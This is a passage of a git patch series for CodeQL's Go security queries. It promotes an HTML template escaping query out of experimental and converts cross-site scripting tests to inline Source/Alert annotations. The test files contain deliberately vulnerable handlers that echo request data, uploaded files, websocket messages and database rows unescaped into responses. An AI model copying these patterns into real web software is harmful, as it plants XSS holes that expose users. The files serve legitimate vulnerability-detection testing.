From 5bce70f78c20857e47e3a3ffaf9a1d0956dc2b4c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 10:31:58 +0100 Subject: [PATCH 01/36] Move files out of experimental (no changes) --- .../CWE-079}/HTMLTemplateEscapingPassthrough.qhelp | 0 .../CWE-079}/HTMLTemplateEscapingPassthrough.ql | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughBad.go | 0 .../CWE-079}/HTMLTemplateEscapingPassthroughGood.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.go | 0 .../Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref | 0 7 files changed, 0 insertions(+), 0 deletions(-) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.qhelp (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthrough.ql (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughBad.go (100%) rename go/ql/src/{experimental/CWE-79 => Security/CWE-079}/HTMLTemplateEscapingPassthroughGood.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.expected (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.go (100%) rename go/ql/test/{experimental/CWE-79 => query-tests/Security/CWE-079}/HTMLTemplateEscapingPassthrough.qlref (100%) diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qhelp rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.qhelp diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthrough.ql diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughBad.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughBad.go diff --git a/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go b/go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go similarity index 100% rename from go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthroughGood.go rename to go/ql/src/Security/CWE-079/HTMLTemplateEscapingPassthroughGood.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.go rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref similarity index 100% rename from go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref rename to go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref From 1530ac123cde7f6d433dca0609cb44eb206cd740 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 11:49:44 +0100 Subject: [PATCH 02/36] Update path in qlref and update test results --- .../HTMLTemplateEscapingPassthrough.expected | 39 ++++++++++++------- .../HTMLTemplateEscapingPassthrough.qlref | 2 +- 2 files changed, 25 insertions(+), 16 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected index c91fe813e9f..8032c4eec22 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.expected @@ -10,32 +10,37 @@ | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | Data from an $@ will not be auto-escaped because it was $@ to template.URL | HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | converted | edges | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | provenance | | -| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | provenance | | -| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | provenance | | -| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | provenance | | -| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | provenance | | -| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | provenance | | -| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | provenance | | -| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:1 | -| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 | +| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | provenance | Src:MaD:2 | +| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:2 | | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | | | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | | -| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 | +| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:3 | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | ReflectedXssGood.go:15:15:15:36 | call to Get | provenance | Src:MaD:1 MaD:4 | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:20:24:20:31 | username | provenance | | +| ReflectedXssGood.go:15:15:15:36 | call to Get | ReflectedXssGood.go:21:40:21:47 | username | provenance | | models -| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | -| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 1 | Source: net/http; Request; true; Form; ; ; ; remote; manual | +| 2 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual | +| 3 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual | +| 4 | Summary: net/url; Values; true; Get; ; ; Argument[receiver]; ReturnValue; taint; manual | nodes | HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent | @@ -73,4 +78,8 @@ nodes | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString | | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src | | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted | +| ReflectedXssGood.go:15:15:15:20 | selection of Form | semmle.label | selection of Form | +| ReflectedXssGood.go:15:15:15:36 | call to Get | semmle.label | call to Get | +| ReflectedXssGood.go:20:24:20:31 | username | semmle.label | username | +| ReflectedXssGood.go:21:40:21:47 | username | semmle.label | username | subpaths diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index c425b9a445b..acafdb5ff4c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,2 @@ -query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql postprocess: utils/test/PrettyPrintModels.ql From 1926ffd450433d1e0867438b7a2e1c820e233516 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 24 Apr 2025 12:18:23 +0100 Subject: [PATCH 03/36] Convert XSS tests to use inline expectations --- .../HTMLTemplateEscapingPassthrough.go | 36 +++++++++---------- .../HTMLTemplateEscapingPassthrough.qlref | 4 ++- .../Security/CWE-079/ReflectedXss.go | 4 +-- .../Security/CWE-079/ReflectedXss.qlref | 4 ++- .../query-tests/Security/CWE-079/StoredXss.go | 2 +- .../Security/CWE-079/StoredXss.qlref | 4 ++- .../Security/CWE-079/contenttype.go | 24 ++++++------- .../Security/CWE-079/reflectedxsstest.go | 16 ++++----- .../query-tests/Security/CWE-079/stored.go | 8 ++--- .../test/query-tests/Security/CWE-079/tst.go | 8 ++--- .../Security/CWE-079/websocketXss.go | 24 ++++++------- 11 files changed, 70 insertions(+), 64 deletions(-) diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go index de353c861cf..dcadac92d28 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.go @@ -26,45 +26,45 @@ func bad(req *http.Request) { { { - var a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + var a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { { var a template.HTML - a = template.HTML(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = template.HTML(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } { var a HTMLAlias - a = HTMLAlias(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, a)) + a = HTMLAlias(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, a)) // $ Alert[go/html-template-escaping-passthrough] } } } { - var c = template.HTMLAttr(req.UserAgent()) - checkError(tmplTag.Execute(os.Stdout, c)) + var c = template.HTMLAttr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplTag.Execute(os.Stdout, c)) // $ Alert[go/html-template-escaping-passthrough] } { - var d = template.JS(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, d)) + var d = template.JS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, d)) // $ Alert[go/html-template-escaping-passthrough] } { - var e = template.JSStr(req.UserAgent()) - checkError(tmplScript.Execute(os.Stdout, e)) + var e = template.JSStr(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplScript.Execute(os.Stdout, e)) // $ Alert[go/html-template-escaping-passthrough] } { - var b = template.CSS(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, b)) + var b = template.CSS(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, b)) // $ Alert[go/html-template-escaping-passthrough] } { - var f = template.Srcset(req.UserAgent()) - checkError(tmplSrcset.Execute(os.Stdout, f)) + var f = template.Srcset(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmplSrcset.Execute(os.Stdout, f)) // $ Alert[go/html-template-escaping-passthrough] } { - var g = template.URL(req.UserAgent()) - checkError(tmpl.Execute(os.Stdout, g)) + var g = template.URL(req.UserAgent()) // $ Source[go/html-template-escaping-passthrough] + checkError(tmpl.Execute(os.Stdout, g)) // $ Alert[go/html-template-escaping-passthrough] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref index acafdb5ff4c..61712749b14 100644 --- a/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/HTMLTemplateEscapingPassthrough.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/HTMLTemplateEscapingPassthrough.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go index 43e5e022598..fe6f5844998 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.go @@ -8,10 +8,10 @@ import ( func serve() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response - fmt.Fprintf(w, "%q is an unknown user", username) + fmt.Fprintf(w, "%q is an unknown user", username) // $ Alert[go/reflected-xss] } else { // TODO: Handle successful login } diff --git a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref index 754513d72bb..e6b791f39fc 100644 --- a/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/ReflectedXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/ReflectedXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go index 008b738f4ca..30774df3924 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.go @@ -10,6 +10,6 @@ func ListFiles(w http.ResponseWriter, r *http.Request) { files, _ := ioutil.ReadDir(".") for _, file := range files { - io.WriteString(w, file.Name()+"\n") + io.WriteString(w, file.Name()+"\n") // $ Alert[go/stored-xss] } } diff --git a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref index 66b7d67dd8f..f47ad25ca9c 100644 --- a/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref +++ b/go/ql/test/query-tests/Security/CWE-079/StoredXss.qlref @@ -1,2 +1,4 @@ query: Security/CWE-079/StoredXss.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/go/ql/test/query-tests/Security/CWE-079/contenttype.go b/go/ql/test/query-tests/Security/CWE-079/contenttype.go index bb9880cc576..2800b3eed45 100644 --- a/go/ql/test/query-tests/Security/CWE-079/contenttype.go +++ b/go/ql/test/query-tests/Security/CWE-079/contenttype.go @@ -8,13 +8,13 @@ import ( func serve2() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] // Not OK; direct flow from request body to output. // The response Content-Type header is derived from a call to // `http.DetectContentType`, which can be easily manipulated into returning // `text/html` for XSS. - w.Write([]byte(data)) + w.Write([]byte(data)) // $ Alert[go/reflected-xss] }) http.ListenAndServe(":80", nil) } @@ -46,11 +46,11 @@ func serve4() { func serve5() { http.HandleFunc("/echo", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - data := r.Form.Get("data") + data := r.Form.Get("data") // $ Source[go/reflected-xss] w.Header().Set("Content-Type", "text/html") - fmt.Fprintf(w, "Constant: %s", data) // Not OK; the content-type header is explicitly set to html + fmt.Fprintf(w, "Constant: %s", data) // $ Alert[go/reflected-xss] // The content-type header is explicitly set to html }) http.ListenAndServe(":80", nil) } @@ -60,8 +60,8 @@ func serve10() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "\t%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "\t%s", data) // $ Alert[go/reflected-xss] }) } @@ -70,13 +70,13 @@ func serve11() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -85,10 +85,10 @@ func serve12() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") + data = r.FormValue("data") // $ Source[go/reflected-xss] fmt.Fprintf(w, ` %s -`, data) // Not OK +`, data) // $ Alert[go/reflected-xss] }) } @@ -110,7 +110,7 @@ func serve14() { r.ParseForm() data := r.Form.Get("data") - data = r.FormValue("data") - fmt.Fprintf(w, "%s", data) // Not OK + data = r.FormValue("data") // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%s", data) // $ Alert[go/reflected-xss] }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go index 70bb248298d..65024f6b865 100644 --- a/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go +++ b/go/ql/test/query-tests/Security/CWE-079/reflectedxsstest.go @@ -28,29 +28,29 @@ func ErrTest(w http.ResponseWriter, r http.Request) { w.Write([]byte(fmt.Sprintf("Cookie result: %v", cookie))) // GOOD: Cookie's value is not user-controlled in reflected xss. w.Write([]byte(fmt.Sprintf("Cookie check error: %v", err))) // GOOD: Cookie's err return is harmless http.Error(w, fmt.Sprintf("Cookie result: %v", cookie), 500) // Good: only plain text is written. - file, header, err := r.FormFile("someFile") + file, header, err := r.FormFile("someFile") // $ Source[go/reflected-xss] content, err2 := ioutil.ReadAll(file) - w.Write([]byte(fmt.Sprintf("File content: %v", content))) // BAD: file content is user-controlled - w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // BAD: file header is user-controlled + w.Write([]byte(fmt.Sprintf("File content: %v", content))) // $ Alert[go/reflected-xss] // BAD: file content is user-controlled + w.Write([]byte(fmt.Sprintf("File name: %v", header.Filename))) // $ Alert[go/reflected-xss] // BAD: file header is user-controlled w.Write([]byte(fmt.Sprintf("FormFile error: %v", err))) // GOOD: FormFile's err return is harmless w.Write([]byte(fmt.Sprintf("FormFile error: %v", err2))) // GOOD: ReadAll's err return is harmless - reader, err := r.MultipartReader() + reader, err := r.MultipartReader() // $ Source[go/reflected-xss] part, err2 := reader.NextPart() partName := part.FileName() byteSlice := make([]byte, 100) part.Read(byteSlice) - w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // BAD: part name is user-controlled - w.Write(byteSlice) // BAD: part contents are user-controlled + w.Write([]byte(fmt.Sprintf("Part name: %v", partName))) // $ Alert[go/reflected-xss] // BAD: part name is user-controlled + w.Write(byteSlice) // $ Alert[go/reflected-xss] // BAD: part contents are user-controlled w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err))) // GOOD: MultipartReader's err return is harmless w.Write([]byte(fmt.Sprintf("MultipartReader error: %v", err2))) // GOOD: NextPart's err return is harmless } func QueryMapTest(w http.ResponseWriter, r http.Request) { - keys, ok := r.URL.Query()["data_id"] + keys, ok := r.URL.Query()["data_id"] // $ Source[go/reflected-xss] if ok && len(keys[0]) > 0 { key := keys[0] - w.Write([]byte(key)) // BAD: query string is user-controlled + w.Write([]byte(key)) // $ Alert[go/reflected-xss] // BAD: query string is user-controlled } } diff --git a/go/ql/test/query-tests/Security/CWE-079/stored.go b/go/ql/test/query-tests/Security/CWE-079/stored.go index 807ae7e1d44..d2852f631ef 100644 --- a/go/ql/test/query-tests/Security/CWE-079/stored.go +++ b/go/ql/test/query-tests/Security/CWE-079/stored.go @@ -15,7 +15,7 @@ var q string func storedserve1() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - rows, _ := db.Query(q, 32) + rows, _ := db.Query(q, 32) // $ Source[go/stored-xss] for rows.Next() { var ( @@ -27,7 +27,7 @@ func storedserve1() { } // BAD: the stored XSS query assumes all query results are untrusted - io.WriteString(w, name) + io.WriteString(w, name) // $ Alert[go/stored-xss] } }) } @@ -56,9 +56,9 @@ func storedserve2() { func storedserve3() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { - filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { + filepath.WalkDir(".", func(path string, _ fs.DirEntry, err error) error { // $ Source[go/stored-xss] // BAD: filenames are considered to be untrusted - io.WriteString(w, path) + io.WriteString(w, path) // $ Alert[go/stored-xss] return nil }) }) diff --git a/go/ql/test/query-tests/Security/CWE-079/tst.go b/go/ql/test/query-tests/Security/CWE-079/tst.go index e6d4f1ed22b..c53fe476b95 100644 --- a/go/ql/test/query-tests/Security/CWE-079/tst.go +++ b/go/ql/test/query-tests/Security/CWE-079/tst.go @@ -11,11 +11,11 @@ import ( func serve6() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - username := r.Form.Get("username") + username := r.Form.Get("username") // $ Source[go/reflected-xss] if !isValidUsername(username) { // BAD: a request parameter is incorporated without validation into the response a := []string{username, "is", "an", "unknown", "user"} - w.Write([]byte(strings.Join(a, " "))) + w.Write([]byte(strings.Join(a, " "))) // $ Alert[go/reflected-xss] } else { // TODO: do something exciting } @@ -45,12 +45,12 @@ func serve7() { func serve8() { http.HandleFunc("/user", func(w http.ResponseWriter, r *http.Request) { r.ParseForm() - service := r.Form.Get("service") + service := r.Form.Get("service") // $ Source[go/reflected-xss] if service != "service1" && service != "service2" { fmt.Fprintln(w, "Service not found") } else { // OK (service is known to be either "service1" or "service2" here), but currently flagged - w.Write([]byte(service)) + w.Write([]byte(service)) // $ SPURIOUS: Alert[go/reflected-xss] } }) } diff --git a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go index 06f15e52cd3..1313f431dd5 100644 --- a/go/ql/test/query-tests/Security/CWE-079/websocketXss.go +++ b/go/ql/test/query-tests/Security/CWE-079/websocketXss.go @@ -27,32 +27,32 @@ func xss(w http.ResponseWriter, r *http.Request) { origin := "test" { ws, _ := websocket.Dial(uri, "", origin) - var xnet = make([]byte, 512) + var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) - fmt.Fprintf(w, "%v", xnet) + fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] codec := &websocket.Codec{marshal, unmarshal} - xnet2 := make([]byte, 512) + xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) - fmt.Fprintf(w, "%v", xnet2) + fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] } { n, _, _ := nhooyr.Dial(context.TODO(), uri, nil) - _, nhooyr, _ := n.Read(context.TODO()) - fmt.Fprintf(w, "%v", nhooyr) + _, nhooyr, _ := n.Read(context.TODO()) // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", nhooyr) // $ Alert[go/reflected-xss] } { dialer := gorilla.Dialer{} conn, _, _ := dialer.Dial(uri, nil) - var gorillaMsg = make([]byte, 512) + var gorillaMsg = make([]byte, 512) // $ Source[go/reflected-xss] gorilla.ReadJSON(conn, gorillaMsg) - fmt.Fprintf(w, "%v", gorillaMsg) + fmt.Fprintf(w, "%v", gorillaMsg) // $ Alert[go/reflected-xss] - gorilla2 := make([]byte, 512) + gorilla2 := make([]byte, 512) // $ Source[go/reflected-xss] conn.ReadJSON(gorilla2) - fmt.Fprintf(w, "%v", gorilla2) + fmt.Fprintf(w, "%v", gorilla2) // $ Alert[go/reflected-xss] - _, gorilla3, _ := conn.ReadMessage() - fmt.Fprintf(w, "%v", gorilla3) + _, gorilla3, _ := conn.ReadMessage() // $ Source[go/reflected-xss] + fmt.Fprintf(w, "%v", gorilla3) // $ Alert[go/reflected-xss] } } From c2ebdf5266a900b27c8b439d58cce99a2ea52eee Mon Sep 17 00:00:00 